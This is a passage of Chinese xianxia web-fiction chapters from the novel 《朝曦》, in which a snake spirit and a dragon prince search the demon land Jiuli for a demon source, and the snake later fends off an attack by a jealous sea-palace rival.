正想赶回南溟身边,没走几步便迎头撞上了谁,菜菜恼火,也不知道这人是什么材料做的,撞的她直冒金星,抚着鼓包的脑壳就要发作,一看是个年老的妇人,便将这火气掐了,只道流年不利,下次出门前一定要先看看日子才行。 妇人一身青袍衣衫褴褛,佝偻着身子不住道歉:“冲撞了小哥,老身这里赔罪了……” 她揉了揉额角,见对方年迈便息了火气:“无妨,不过鼓了个包,一会儿便消了,您不必自责。” 老妇拄着一只枯木藤杖,面容被苍白的乱发遮盖,平平无奇下,一双剔透盈亮的琥珀眼球让菜菜微微惊讶,心中平白腾起一股似曾相识之感。而视线相对的一刻里,对方亦有相同感受。 “好良善的孩子……”老妇突兀的握上她的手,干瘦的喉颈发出咯咯笑声,那双眼瞳迅速扩张,如同蛇瞳一般,诡异渗人。 菜菜后脊微颤,老妇的手竟要抚上她的面颊,缓缓朝着眼角触去,她声调里隐隐有些激动欣喜,同时又能感觉到那份克制:“这样润泽晶莹的瞳仁,普天之下除了我蛇族,旷古无两。” “老人家也是蛇族?”老妇虽怪异了些,但闻听她同是蛇族,便不由得去了些戒备之心。 老妇点了点头:“小哥双瞳罕见,生的是万年不遇,老身上次见过还是在……”眼中的欣喜嘎然止住,很快的转换成一种落寞,夹杂着些许不明情绪,大约是些不甚愉快的往事,便不愿再说。“小哥尚且活着,怎么跑来着幽冥地界?可知这里煞气浓重,损伤元气于无形?” 她当然不知道,不过就算知道,也是要来的。 “我……来寻些东西。”她犹疑着,不敢轻易泄露来意,但观这妇人并不简单,且颇有些年岁,说不定知道不少事,想了想便试探着反问于她:“老人家如此了解此地,想来是冥界中人?” 老妇摇了摇头:“我虽非冥界中人,但小哥想知道的,我未必不了解,年纪大的好处就是,历尽风云变幻,见惯人事更迭……” 竺枫被那鬼差形容的何其难缠,如若真是块啃不动的骨头,还要另想他法……可知这办法也不是那么容易想到的。她轻瞟一眼老妇,心想过了这个村便没有这个店,倘若问得侧面一些,也不见得就泄了南溟的计划。 拿定主意,便开始侃侃道来:“咳……我生来孤苦无依,受人欺凌…………”一刻钟的煽情叙述后步入正题:“想修习些本领,但拜师无门,苦无出路,听闻冥界有种高深莫测的古籍术法,唤做炽幽鬼火,我想若是能将它学会,便不用再受人欺负……” 老妇的嘴角泛起一圈诡谲,却不意外。耐心又听她道:“不过这术法传自远古,只知曾是魔君蚩尤的掌中法,却不知近日还有哪位高人通晓,所以我便来此打听,不知老人家是否有所耳闻?” “此术传自上古不假,然,并不是什么奇难之术,我蛇族便有人将它融会贯通,只是如你所说,此术是昔日魔君练就,故而被天界列为禁术,一练此法,深坠魔道,从此再无登仙封神之望。” 鬼才要练什么炽幽鬼火,想自己一条普通小蛇,专拣那天王老子的晦气去碰,莫不是活腻了?不过这絮絮一番话里确然有她所想,便取其要而问之,故作惊讶道:“咱们蛇族竟然有这等厉害的前辈?不知他现居何处?老人家能否引荐?” “这……” “若不方便,老人家可将前辈相貌居所告知晚辈,我相信我的一颗恒心诚然能感动他。” “好吧。”老妇似乎先一步被感动,道:“我也不知他现今居于何处,只能告诉你,他相貌骇人,半蛇半鬼,素常披着一件黑色斗篷,从来深夜出没,行踪不定。” 菜菜脸上诚挚又感激,实则心中的雀跃就要按捺不住……“这,这位前辈想来是有些身份的吧?我若见了他,该怎么称呼?” 老妇犹豫,一副很为难的样子。 “老人家尽管放心,我保证不会让第三个人知道。”她掂量掂量,觉得不够郑重,复又举起手来仰天发誓:“若有违背,天打雷劈,天地不容。” 南溟他是条龙,不能算个人。 “好吧。”看她诚恳,老妇便沉声告诉:“此人便是蛇族上任族长,亦是蛇族自洪荒而来仅存的天生妖仙,虺蛇惊木君。” “既是蛇族,为何会有半副鬼面呢?” “大抵是那次神魔之战……”老妇神色忽沉,似乎是涉及到不可说之事,便立即打住:“好了,我能说的都告诉小哥了……” 菜菜尚以为她有所隐瞒,可萍水相逢,人家肯与你说这么些已经不错,过份勉强总归不够礼貌,于是便向她躬了一躬:“如此多谢老人家了,他日我若学有所成,定不忘您今日提点。” “那我便拭目以待。” “……”一句反复琢磨也没察觉出什么问题的话,让她云里雾绕,她苦恼的摇了摇头,近日这脑袋真是越发不灵光了。 老妇又发出咯咯笑声,随着声音越来越浅,她的身影也消失于此,隐约留下一句话回荡于耳畔。“华胥之渚,虚左以待。” 鬼差,老妇,双份消息,菜菜得意不止,自己真的太适合当一个探子了,看来有必要跟南溟重新谈一谈条件。 不过谈什么呢?她环手倚着墙壁开始设想,对,魔源!若他能将第三件威胁,魔源,一道除了,乌榆林岂不立刻恢复如前?她呲着牙露出贪婪的笑容,此梦若能成真,简直不能再美妙…… 兴冲冲的跑回原处,发现南溟不知所踪,等了好久也不见他回来,便独自朝簿册衙司走去,不曾想那南溟早早来了这,一眼望见,正堂上首坐着个孤傲的同他有的一拼的男子,而他坐于左首,松快自在的当着这里的座上宾,另有一个白衣男子,笔挺端坐于对面,眼熟的紧。 自己忙前忙后,与他们智勇双搏才擒获了消息,他竟在这喝起闲茶? “大哥你叫我好找,怎么来喝茶也不叫我?”她咬牙切齿道。 南溟看着她神情一晃,这才想起竟然将她给忘了……“唔,这位便是册官竺枫先生,他已经差人去查簿册了。” 上首所坐竟然就是竺枫?他是怎么找到的?她眼中泛起疑雾看着南溟,顺着他的目光又看向对面,不难发现,一切是这白衣男子的手笔。 “小兄弟想是累了,快快坐下歇一歇吧。”白衣男子轻和一笑,一如三月里初绽的春蕊,温逸可人。 “这位兄台甚会察言观色……”她也不作客气,直接坐了下来,可火气始终不能抑去:“我的确有些累!” 南溟感到莫名其妙,不太明白这条蛇缘何气成这样,而看着他不明就里的样子,菜菜生怕自己就此气死,便只能强行熄灭那阵心头大火,让它们随着一声叹息,烟消云散。 “我之前不太了解,蛇这种生物,脾气甚为古怪,你真的不知道什么时候就得罪了他。” “………”听闻此话,她不禁有些僵住。 “你是说从前那条菜花小蛇?”白衣男子疑问着,不过很快便晓得南溟意有所指,他看着气到七窍生烟的菜菜,想到来时见闻,以及那现在还被绑在石柱上的鬼差,便忍不住一笑:“是啊,听说他们凶狠起来,也是令人畏惧。” “蛇?哪里有蛇?”竺枫对三人谈话本无兴致,但听到蛇之一字,便来了精神。 白衣男子摆了摆袖,示意他冷静:“你如今已是冥府官差,怎可如此浮躁。” 菜菜疑惑,怎么这竺枫对蛇如此敏感? 竺枫正要说话,却被那白衣男子有意阻断,并另起话题:“乐游山好山好水好风光,常年下来并不见你开心几分,此地虽无意趣,倒也符合你这寡 13. 九黎 《朝曦》全本免费阅读 九黎,听说是魔君蚩尤统领的九黎之国,曾威慑天下八方弭服,不过随着神魔之战后魔族的衰败,便亡国消迹于世上,加上天界的压制,九黎之地听说已经成了一个荒芜凋敝飞沙走石的蛮夷之地。 魔源初显,虽说星象对应乌榆林,但众神仙觉得一个小林子能起什么风浪,便是真有,覆灭它不过是抬手的功夫,定是那北辰星君吃酒误事算差了,故而大家都将疑窦投向于九黎,毕竟这可是魔族的老巢。 众神仙乃至妖灵精怪,对铲除魔源一事格外尽心尽力,上方的想在茫茫岁月里,碌碌无为中立些功绩加持地位,下界的则想通过此举飞升成仙,脱离轮回,所以,九黎这块地界,近日里很是热闹。 荒漠裂土下,烈日炎炎,沸热难耐,一块被黄土掩了半截的残碑上,虽蚀化严重,但隐约可以看出个黎字,菜菜正惊喜着,忽然看见不远处有人在斗法,细细端睨下来却又不是,大约五六人,正在齐心合力的欺负一个小孩。 她抿了抿嘴,挠了挠头,见那孩子被雷鞭打的痛苦不堪,再看不过去,便将南溟亦棠两人拽了来,义愤填膺道:“路见不平拔刀相助乃是行走江湖之道,你俩怎么忍心看着他们以多欺少?” 二人相视一眼,无言以对。 亦棠朝着那处看了看,血腥且暴力,的确有些不忍直视,只是……“再过一刻,你便不会觉得那孩子可怜了。” 诚如他所说,那孩子几乎要被殴打致死时,脊背后倏地窜出几道灰朦气体,奄奄一息的他立刻腾地而起复苏反击,将气体化成蜈蚣蝎子等各种毒虫游窜旋飞,集体蜇向五人,对着他们一通嘶咬,几人很快脸色青黑,倒在地上,那孩子笑着从中稳稳走出,拖着一条黑褐色的蝎子尾巴……此时刚好一刻钟。 菜菜失声,眼中呆滞神色更是惊恐,那孩子的狰狞笑容宛如烙铁一般烙在她心里,他踩踏着几人扬长而去,消失在一片飞沙里。 “还觉得他可怜么?”南溟反问。 “真的只要一刻钟,亦棠兄真乃……第一能掐会算之人。”她结结巴巴道。 “所以,同情之心不可乱用。” “此地是魔族之境,即便再没落也不可轻视他们。”南溟扬身飞到几人面前,从袖兜里取了些丹丸与几人服下,保得了性命,几人俱是感激不已,连连拜谢,在他劝说之下,也不敢再留于此地,即刻运术回去,眨眼不见了踪迹。 “这才叫路见不平拔刀相助。”南溟教育她说:“你那叫是非不分,两者不可混淆。” “……” “那几个是仙界之人?”亦棠问。 “是蜀山的仙道。” “那孩子便是魔源么?”菜菜定了定神,虽余惊尚在,但绝不能露出怯色让他俩笑话。 “魔源若是容易找到,天界便不会如此忌惮了,不过如今魔族的这些孩子,看来并不是些凶残之辈,否则刚刚以他的能力,取那几个道士性命,易如反掌。” 菜菜恍悟,原来南溟早将那局面勘透,一直不动,是想看的更清一些。 “那魔源到底是什么?有没有人见过?” “魔源现在的形态,有可能是一个人,一个婴孩,还有可能是一片叶子一株草……总之没有临世之前,谁也不知道是何样子。” 亦棠对于寻找魔源并不迫切,倒是南溟,视之为心头第一要事,吃饭睡觉似乎都可以省略掉。 “那这样寻找,岂不是大海捞针?” “大海捞针,倒也容易了。”菜菜言语嘲讽。 “……” 原是容易,那南海寸土寸水尽为你家所有,便是将它翻过来也没什么不能。看他这状态,恐怕便是凡界所说的劳作成瘾综合征,简称劳作狂,菜菜冥思苦想,如何能与此人尽快的债务两清,然后走下这条贼船? “小兄弟再想些什么?” “我在想……那位竺枫先生,看起来对蛇颇有兴致,是为什么?” 亦棠说话从不扭捏,然而这会竟有些吞吐,南溟对此似乎也很好奇,遂也问他:“为什么?” 二人的一致追问下,他便只好诚实坦白:“他是只犀鸟……” 闻听犀鸟,菜菜浑一激灵,不自觉的抖了抖,莫不有些后怕,而南溟却还不明真相,一头雾水:“犀鸟怎么?” “犀鸟食蛇,竺枫更是无蛇不欢,在乐游山时,餐餐饮蛇羹,顿顿食蛇肉,以至于乐游是蛇族最怕的一座山,它们不仅不敢来此,怕是千里之外便要绕行。” “唔,原来蛇是惧怕犀鸟的。” “你养了多年的蛇,竟然不知蛇怕犀鸟?”亦棠一脸费解。 “我当然不知,否则怎会硬跟师兄要了只犀鸟放在房里陪伴那小蛇……” 他的话是那么的理所当然,让人丝毫不觉得他的所为有什么不妥。 “我一直觉得蛇生的滑润可爱,并且不娇气好养活,故而不觉得需要忌讳什么?现在看来,每个生物都有它的天敌,是我疏忽了……对了……”恍然醒悟之后,转又询问菜菜:“你们蛇类还有什么惧怕的?来日我若再养,便不会似从前那般大意。” 她咳了咳,脸色霜冷如腊月:“雄黄,犀鸟,凤仙花……不过我觉得殿下您不适合养蛇。” “或许吧。”他不由得一默,才发现菜菜跟着自己的那一百多年,何其艰辛。“那你觉得我养些什么好呢?” “殿下为何非要养些什么?” “幼时爱热闹,现如今喜静,但修行之外不免觉得孤独,索性养个灵宠,既不聒噪,也不费事。” “依殿下所说,我倒知道有种生物,十分适合您。” “是什么?”亦棠也很是好奇。 “殿下海里的王八,既长寿,又抗饿,克星还少,除了时常被凡人骂一骂乌龟王八蛋之外,几乎没什么弊端,我觉得殿下养它,甚好。” “……” “噗……”亦棠背过身去,笑得上气不接下气,他意欲掩饰,但他那颤抖的背影无情的出卖了他。 “是什么笑话,竟令一向淡然的师兄笑成这样?” 一个轻柔女声自身后传来,菜菜转眼看去时,那女子穿着青衫已经来到他们面前,身后还跟着一位,略略高挑的男子。 “是潦清啊?”亦棠终于敛起笑意:“般颉师兄也来了?” 二人点了点头,那名唤潦清的女子兴奋的走到南溟面前,一脸慕色掩饰不住:“南溟师兄,你的伤可好了?我昨日去南海看你,不想你竟不在,若不是南乔姐姐告诉我你去办正事,我还以为你回了雾仪山呢。” 潦清,雾仪山?原本没有印象,但看这副熟悉的花痴样子,菜菜一下想起,这不就是当年那个倾慕南溟的柳衫小仙女?她还真是长情啊…… “那你怎知我来了这里?”南溟刚才还有些笑意,看见这个潦清后,仿佛不太欢喜。 “我同般颉师兄分析一番,近日很多人都往这来,你应该也不例外,所以 14. 朝曦 《朝曦》全本免费阅读 此话一出,几人莫不忧惧,大抵是没想到一个败落的荒地,竟然还有如此余威。屏障在紫雾的侵袭下越来越弱,南溟和亦棠继续注入仙力,潦清和般颉却提议离开,因为在他们看来,保命比立功重要多了。 南溟和亦棠早就知道会有此局面,然万物总有破解之法,如若一味躲避,将永远不可能克除,想深入此地,连这关都过不了,更遑论摒除魔源。 困难不可怕,可怕的是遇上了猪队友,在这危险时刻,你不得不与他们为伍,而他们却不能与你同心同德,且总拣些动摇军心的事来做,南溟又复暴躁:“如此德行,实在有辱师门。” 潦清慌张解释:“师兄,并非我们泄气,而是这魔雾是昔日魔君留下,便是咱们散尽修为,也不可能……” “我觉得仙子说的很对。”菜菜认真补刀,再没有什么比活命更重要,不过当南溟白了她一眼后,她很快意识到自己站错了队,当即改口表明立场:“但是做人不能没有骨气!” 潦清无奈只好盘膝而坐,继续与那屏障注力,般颉身为师兄也不好再打退意,四人尽力抵抗,唯余菜菜显得无所事事。 她蹲在一旁暗暗观察,心想这魔雾若是个生物,她且能探一探它的命门,或许能有些胜算,可惜雾体没有生命,这双眼睛便派不上用场。 “亦棠,你们三人可能支撑?” “我尽力便是。”这话显然是对身后二人没有信心。 南溟收掌飞去,不过眨眼便匿迹于漫天紫雾中,而那屏障登时薄弱下来,雾气几乎要破冲而入,菜菜惊起四望,到处找寻着南溟的身影,然而他就像一粒沙子,被席卷进去便再无踪迹。 “师兄……”潦清亦有些慌神,一旁的亦棠支撑的十分勉强。 “南溟已经被吞,再不撤,我们都要死在这了!”般颉恐慌喝道。 “不会。”菜菜想斩龙矢与炽幽鬼火这等法术都拿不走南溟性命,这一团雾霾又岂能轻易把他留在这里,她深信如此坚定反驳:“他一向命大,不会就这么死的。” 屏障隐现缺口,菜菜那微弱的法术根本起不到任何作用,于是便只能用身体堵了上去,亦棠见了慌忙喊她:“快些退下,不然你会被吸出去的!” 她意识到时已经来不及了,雾中有股力量吸力极大,她用尽全身力气仍然被吸出屏障,沙石钻进双眼,飓风将她卷入高空之中,紫色雾体忽然旋起一圈深暗无尽的涡洞,似巨口一般就要将她吸食进去……一片浑浊里,她根本无法控制自己,以为就要殒命于此。这时,耳中忽听一声龙吟响彻天际,强睁开眼,正见一条银色角龙盘旋飞凫在紫雾之中,随着它的现身,雷风暴雨骤降,紫雾随即有些然涣散之意…… “殿,殿下……” 涡洞不受暴雨影响,仍然越聚越深,南溟以龙身再度唤雨,不时喷出道道巨闪,两方对峙凶险,而菜菜终因体力不支再撑不住,像只雀仔一般被捕向洞口……旦夕之间,南溟以龙尾卷住她的腰身,正因此举,他微渺的胜算彻底失去,随她一同被吞入洞中。 如无意外,这只涡洞便是吸食神仙之处,不消多久,他们便会销魂化骨,南溟将她团团围住,她于缝隙里清楚的看到,涡洞中荆刺划过他的真身,血色淋淋下银白的鳞正片片脱落,皮开肉绽后露出森然龙骨……应龙之子,南海殿下,本该有着不凡的造化,得意的前程,就这样被自己拖累死了…… 或许是难过,或许是愧疚,她的眼中流下了平生第一滴泪,同手臂上的血珠一起落入水涡,隐隐伴有回音,而涡洞的吸力竟有一瞬间的停顿,她趁机挣开南溟,将余身之气汇于掌中,拼命推他出了这里……气力散尽,她如一片羽毛般荡进洞底,她的发髻松散垂落,青丝如绢,雾鬓风鬟,衬托的她一下长大了很多…… “……”南溟伸手,却触不到,张口,却喊不出,相处这许多时日,竟不知道她的名讳。 涡洞闭合,菜菜也随之淹没。又觉一阵大风袭来,刮的那片黑紫烟消雾散,是亦棠幻了大鹏真身将雾气刮走,而那片残垣废墟里,一扇石门若隐若现…… “南溟,你怎么样?” 他呆呆的看着石门,皱眉不语。潦清也偎了过来,看见他肩背上大片的血迹担忧不已:“怎么伤的这样重?我来看看伤口……” 自然是被拒绝的,从小到大,她从他这得到最多的回应便是拒绝,只是她看不懂,此刻他眼中的情绪,她从未见他这样失落过,黯然过。 “那位小兄弟呢?”亦棠问道。 南溟仍然不语,恍神半晌后,见那石门将要消失,才起身走去,亦棠潦清当然跟随,般颉却犹疑止步,再不肯跟进去。 几人看着眼前之境做出推断,石门之内便是魔族之境,外面的荒漠不过是一种表象,用来虚衍外界,而结界之内才是真正的魔界,真正的九黎。 “这样说来,目前还没有人走进来过?”潦清问道。 亦棠点了点头:“便是有,也是有来无回。” 那么说,天界各界来的那些位,都不曾真正进来过?枉他们还大言不惭,将此地说的何其平庸,来去又是怎样容易,潦清嗤笑一声,对南溟更是崇拜。 “只是不知师兄是用了什么招数破了这魔雾之阵?” 亦棠同样好奇,而南溟仍不说话,这个问题自己也尚未想通,眼下也不愿去想,他走进这里,是想一探魔族虚实,毕竟谁也没见过如今的魔界是何情境,但同时也存有一丝希望,希望能从这里将那孩子带回去。 “不愧为应龙之子。”周遭一片漆黑,伸手不见五指,只一个听不清是男女还是老幼的怪异声音传入耳识:“可惜,你们也只能是有命进来,没命回去。” 声音尖锐刺耳,潦清受不住捂起双耳,南溟凝神去探,却没有任何回应,这声音之主,似乎存于这空间里的每一寸,而又探不到他的魔元气息。 “潦清,须得拿你们鲛人族的皎月珠照一照了。” “好。”南溟吩咐,潦清忍着不适捻诀起印,一颗泛着皎白月辉的明珠幻自胸前,珠子本体不过鱼丸大小,但经过潦清的术法催动,不断变大,抛至上空宛如月亮,盼能将这黑窟映照出些光亮来。 然而,皎月珠虽是鲛人族的圣物,盈辉炳焕可照亮天地,这魔窟却也不是寻常洞府,它同那珠子一般,越变越大,不止不休,说不得竟似混沌一般,没有尽头。 “果然厉害。”南溟心中震撼,怪不得天界一直谋算铲除如何魔界,但谋着谋着便没了下文,原来只这些魔障便令人望而却步。 亦棠同样讶异,再又幻了真身,一双鹏翅扇起玄风阵阵,而那无明洞府丝毫不为所动,一系反击终是无甚用处,而暗处忽然飞射出数道箭矢,与周边混为一色目不可视,三人只能靠感知来辩识暗器方向。 “啊……”潦清的肩背先中一箭,亦棠将她拖到身后,南溟立刻幻出长鞭,应对暗器的同时,他脑速急转,既然此处仿以混沌之境,那便得混沌法器来克制,思绪百转后,灵台忽现清明,自己身上便有净世白莲之气,这真正的混沌圣物,或许有望破了这虚无结界。南溟兴奋之余立刻调息运气,将自己多日里吸收的白莲之气聚提于胸前,瞬时一簇白雾冲入黑暗,开辟出一道明路,三人俱感惊喜,立刻向这光明飞去…… 那怪音又起:“倒有些本事,不过……” 几人还未走出去,忽然地动天摇, 15. 功德圆满 《朝曦》全本免费阅读 “朝饮木兰之坠露,夕餐秋菊之落英?”所谓引经据典,方能显示出一个人的文化,这是她苦思之后唯一能联想到的一段词。 南溟默了默,与她更正:“海近朝曦赫,山明宿雾消。你的脑袋里,只能想到吃么?” “饮朝露,食落英,虽是说的早茶和晚膳,但那是多么美好又贴近生活的一句话,而且,吃饭是罪吗?”她不忿的看了看他。“我忘了,神仙是不食人间烟火的。” “烟火自然不必……但香火,还是要受一受的。” 她微微一怔,不敢想这话竟然出自南溟口中,看来神仙也是要下凡的。 朝曦这个名字,虽然不及那个潦清,但相比菜菜实在不知高雅了多少,想了想还算满意,便喜滋滋的应下了。 太阳有条不紊的爬上了半空,散逸出七色霓彩的光棱,很似南溟殿中的水晶盏,她抬头迎上,不觉有些晃眼、眩晕,随着眼中起雾,南溟的脸一张变两张,两张变四张…很快便没了意识。 蛇生里,尚未有过昏倒的经历,她想,一定是近日里跟着南溟东奔西跑过度疲劳的缘故,再加上南海的吃食太过清淡……让一条吃肉的蛇突然清汤寡水,以海藻裹腹,自然要营养不良。 但是南海的乌医诊说,昏倒是因为她体内有煞气和仙气混冲,修为太浅不足以控制消化这两股力量,跟那营养不良全无关系。 …… 身体是修行的本钱,不好好吃饭,如何能专心致志的精进修为呢?凡界素来说民以食为天,可见食物是天底下第一要事…… 梦里美味知多少,吃多少,有多少,一阵饥肠辘辘中醒了过来,虽觉胃腹空空,但并不影响她四体通泰,周身充盈,正奇怪,忽而一阵香风飒来,随即察觉身边仙气蒸腾,氤氲缭绕,仿若置身于璇霄丹阙,云阶月地,垂眉一看,自己竟躺在了南溟宫中的白莲上,私以为是自己偷偷跑来上面后睡着了,便匆忙下去,一旁正打着盹的知命被动静吵醒,便拦下她:“你做什么去?” “挪个地儿,这可是你们龙宫的圣物,我可不敢……” “你放心养着便是,是殿下让你睡在这的。” “那殿下呢?”她懵了懵,南溟何时变得这么大方了。 “去跟大殿下说事了。”知命盯着她,一脸的怪异好奇,全不似之前那般热情随意,似乎是对她突然变作女子有些不适。 她尴尬的笑了笑,又问:“亦棠君同潦清仙子呢?” “亦棠公子不善水性便没有来这,听说是回了雾仪山,潦清公主在珊瑚礁那养伤。” “潦清公主?” “是,她是鲛人族的公主。” 看来能去雾仪山修行的,果然都不是些寻常的神仙娃娃,不过这南来的北往的公主王子也忒多了些。 “那亦棠君是?” “是鸟族族长的义子。” “唔,是这样。” “朝曦姑娘还有什么所需么?” “朝曦姑娘?” “啊?你在叫我啊?”连着两遍她才反应过来,对这新名字尚需要一定的适应过程,但是对姑娘这两个字,她感到无所适从,在这漫漫许多年里,不曾有一个人这么唤过自己。“朝曦便好,姑娘两个字很是多余。” “……” “我……有些饿了。” “好,我吩咐他们送些吃食来。” 也不知道是三餐中的哪一顿,吃饱后便又在白莲里昏昏睡去,等她再又醒来后,南溟已经回来,并且在白莲对面置了一张书案,写写画画,不知在忙些什么。 虽然醒了,但总想躺一躺,再躺一躺,于是便侧着脸看他整整截截的坐在案前笔走龙蛇,时而蹙眉,时而松快,待忙完一阵,方看到已经醒了的她。 南溟放下笔,松了松筋骨:“睡饱了?” 她亦起身坐好:“殿下用词不当,睡觉若能饱腹,众生都不用吃饭了。” 肃面难得付以一笑,罗袖凝光挥动,一张食案赫然出现在她面前,琉璃碗盏水晶盘碟,盛放着各式各样的美味佳肴,香酥鸡,油焖鸭,红烧鹅…… 世人说乱花渐欲迷人眼,浅草才能没马蹄,定是那些人饫甘餍肥饱食终日,不知饥苦的缘故,你若饿他个十天半月,他便只能作出:忧心烈烈,载饥载渴来,试问那花花草草又岂有这鸡鸭鹅来的动人心脾感人肺腑?对南溟不禁多出几分崇拜来,心说这真是天底下最最实在的法术。 “殿下真是天上地下最仗义的神仙。”双手如魔爪般伸向了鸡鸭鹅,毫无形象的吞咽起来:“殿下不吃吗?” 尴尬凝结,他呆滞的看着眼前所见,自己只是饮着那一贯爱喝的竹叶青:“我不吃。” “那殿下可能将这法术教授给我?” “你是该好好学些东西了,不过学这个?未免有点胸无大志。” “我不需要大志,大鹅便很好。” “……” 南溟安心坐在那不再说话,似乎是在等她享用完这一切,朝曦洞察到了他的心思,便十分速度,没多久便将那食案扫荡一空,擦了擦嘴角的油,说道:“殿下可是有话问我?” 他面上微微一怔,看来她真的是知道些什么的。 “你是如何逃出来的,又是怎么遇见的我们?” 她咽下最后一口肉,组织了一下语言,才道:“你们进入的石门并不是九黎魔界,我坠进的涡洞才是。” “什么?” “那涡洞里便是魔族之境,里面有无数尸骸,想来都是被魔雾吸入涡洞坠去这里的,而你们所看到的石门则是魔族神器九黎壶的壶口所幻。” “九黎壶?”南溟惊讶:“可是上古神器炼妖壶?” “应该,是吧?” “那么说来,里面的混沌世界,便是壶内幻境了……”他若有所思后脸色迷茫:“那怪声便是御壶之人?他是谁?你是怎么抢过九黎壶的?” “自然是硬抢啊。” “……” 16. 杀心起 《朝曦》全本免费阅读 “姑娘好雅兴。”她的莫名笑意在那张白嫩的脸上甚显突兀,全然没有看南溟时的那种含情脉脉,一汪春水。 本就是爬行动物,也没有什么好丢脸的,她自然的站起,想着潦清虽是半条鱼,但好歹是个公主,于是便很恭敬的问候:“公主的伤痊愈了?” “是呢,只是远没有你恢复的好。” 话里有话,不过她想表达什么呢?朝曦思了思:“这便是放养的好处了,哈哈。” “师兄的白莲乃是圣物,莫说你这点伤,便是三魂失了两魂,七魄去了六魄,也能起死回生,与你那粗野习性有什么关系。” 呃…白莲,原来是在为这个生气。“可珊瑚礁也很不错啊,红彤彤的,搁凡界它可是稀世珍宝,能值好些钱。” “……” 素来对牛弹琴,生气的总是弹琴那个。 “你本是女身,为何扮做男子?莫不是蓄意混到师兄身边,企图勾引他?” “勾引?我真的没有勾引殿下,睡到他的床上纯是巧合。” “你!”方才还铁青的脸忽然涨的通红。 朝曦意识到自己又一次给自己挖了个坑,深感说话不经过大脑是一种,多么痛的领悟。 “我说错了,是莲花床,不是床。” “有什么区别,妖精生来淫-贱,勾引男人,更是天生的本事。” 耳中传来第三人声音,这咬牙切齿的一席话让朝曦费解,自己在南海待了并没几日,何时结了这么多怨?转眼看去,却又是个眼熟的。 “嫂嫂?” 正颜厉色的凝歌,被这声称呼一恍,竟恍出几分心虚来,脚下一个不稳险些摔倒,幸好有个潦清扶了她一把,本不该这般互帮互助的两个人,这一刻好似王八看绿豆,越看越顺眼。朝曦透过她们的眼神,隐约看到结盟的意味,而身为她们共同的敌人,处境实在堪忧。 “你这蛇妖浑说些什么?” “难道不是吗?” “当然不是。”凝歌咬定说道。 举头三尺有神明,那日南溟红口白牙所说,她竟然不认?朝曦无奈的叹了叹,终于明白了凡界那句话:唯女子与小人难养也。 “姐姐这下见识了此妖的厉害吧?一张嘴唬的师兄任她摆布,还准她用净世白莲养伤,姐姐知道那可是混沌青莲所化,如今是南海圣物,怎能容她一介妖精所用,定是她用妖术蛊惑了师兄,才叫师兄这般没了原则,失了分寸!” 潦清脸色不忿,口齿利落句句戳中要害,滔滔一席话便将蛊惑南溟这顶罪恶的帽子扣在了她的头上,有理又有据。 “所以呢?” “姐姐身为南海丞相之女,有辅主之责,自然也该替师兄肃清左右,以免声誉为其所累。” 凝歌听进耳里,默默思索在心里,作为臣下,越阶插手南溟的事,妥否。不过那潦清诚然是个会说的,她总能像掐住蛇的七寸一般,抓住人的心理。 “神君同海后在天界不知此事,待日后回来,知道姐姐如此深明大义,定会另眼相看。” 凝歌眼中的迟疑换作坚定,转又燃起一簇靛蓝火苗,只见她身后长发飘动,粉色的衣袖下幻出数只飞刀…… 朝曦洞察到了杀机,不由得退了几步:“潦清公主,我们何仇何怨?” 潦清只笑不语,借刀杀人的人自然很得意。 她的迟钝仅是对于神际关系,从来杀机在前,那不甚聪敏的脑袋便能立刻智慧起来,死亡令一个人恐惧,也能令一个人颖悟,这叫求生欲。 凝歌的飞刀飒飒袭来,她左闪右避,躲的略微吃力,而反身看那飞刀擦过园中的水藻,花草,一一燃起靛蓝色火焰,迅速消毙于园中。 天地之火为阳火,江海之火为阴火,九幽之火为冥火,最近真是跟火杠上了。 “你以为你能躲得了吗?” “就算是精灵妖怪,你们便可以随意杀伐么?” “你没听过,斩妖除魔,乃是匡扶正义?” 凝歌的十指缝隙再又幻出飞刀,朝曦左右环视,潦清与凝歌的侍女分别在侧阻拦,竟是无处可逃,看着几人的得意神色,她的心头忽而窜出一簇烈火,凭什么精灵妖怪低人一等,又凭什么神仙就可以为所欲为? 原则上来讲,妖精在神仙面前只有乞首求饶的资格,可不知何时起,她再不想似从前那般老实巴交,任人欺负,哪怕对方是神仙……虽然没有强大的修为傍身,但若反杀,未必不能。 双瞳倾如墨染,亦如黑水在河心卷出旋涡,阴翳诡谲,她左手挽出一把青色水晶弓,右手幻出一支碧绿流水箭,在两双轻蔑的笑容下对准了凝歌,对准了她那充盈旺盛的命门,天灵。 道行低微的让人察觉不到,凝歌和潦清根本没把她放在眼里,任由那支箭飞离弓弦,疾光电影一般射向目标,箭风里隐藏着凌厉杀气,待逼近眼前时凝歌才有所察觉,恐慌之间竟只能连连后退做为抵御,幸而那箭矢被一只锦袖握住,这才停顿于她眼前毫厘处。 “殿下……”凝歌偎到他身边,神情委屈极了。 南溟忽然回来,并只手替凝歌挡下这一箭,却了法力的长箭被他紧紧攥在身后,那张冰山面孔也在这一刻迎来了霜降。 “师兄回来的正是时候,不然凝歌姐姐就要为这蛇妖所害了。” 凝歌对潦清所说认可不已,频频点头,而朝曦看着二人的一唱一和同南溟那张神情不甚和悦的脸,不由一怔:“她们在扭曲事实……” 眼前情形很不利于自己,可他会不会相信自己呢?朝曦实在没什么把握。 “事实是什么?耳听为虚,眼见为实……”南溟反将长箭拿近面前,眉头不禁蹙起。 "我就知道,师兄你不会真的被这蛇妖蛊惑……" “这蛇妖在殿下宫中鬼鬼祟祟,我与潦清担心她图谋不轨,便仔细盘问她,只是没问几句,她便做贼心虚,出了杀招。若非殿下及时回来,凝歌恐怕………”说着,又是一通呜呜咽咽。 这海里的生物,当真是难缠啊,朝曦看了看凝歌,又看了看潦清,无奈一笑。 “你们俩恐怕会错意了。” “什么?” 凝歌停下哭泣,与潦清一道望着南溟。 他将水箭溶于掌心,背手而立道:“我这小客人,虽痴笨了些,但生性良善本分老实,万不会生歹心行恶举,而你们这许多人,跑到我的园子里栽赃诬陷杀人害命,事迹败露还反咬一口,可谓刁钻奸邪。” “殿下……” “师兄,凝歌姐姐并没有……” “不必说了,趁我不与你等计较,立刻消失,否则我便将此事拿出来公断,届时莫悔。” 两人脸色登时暗沉下来,凝歌羞愤转身就走。 “潦清,你很会看 17. 莺惭燕妒 《朝曦》全本免费阅读 心头像蒙了一层雾气,百思不得其解,想了一阵才有所明白,原来对于自己由男变女,见机与知命的态度分别产生了质变,潦清亦是如此,南溟也略略有些,看来自己还是当一个男子比较安妥些,遂即一个旋身,又复了那男子模样。 见机很奇怪,问道:“为何又变回那男子身份?” 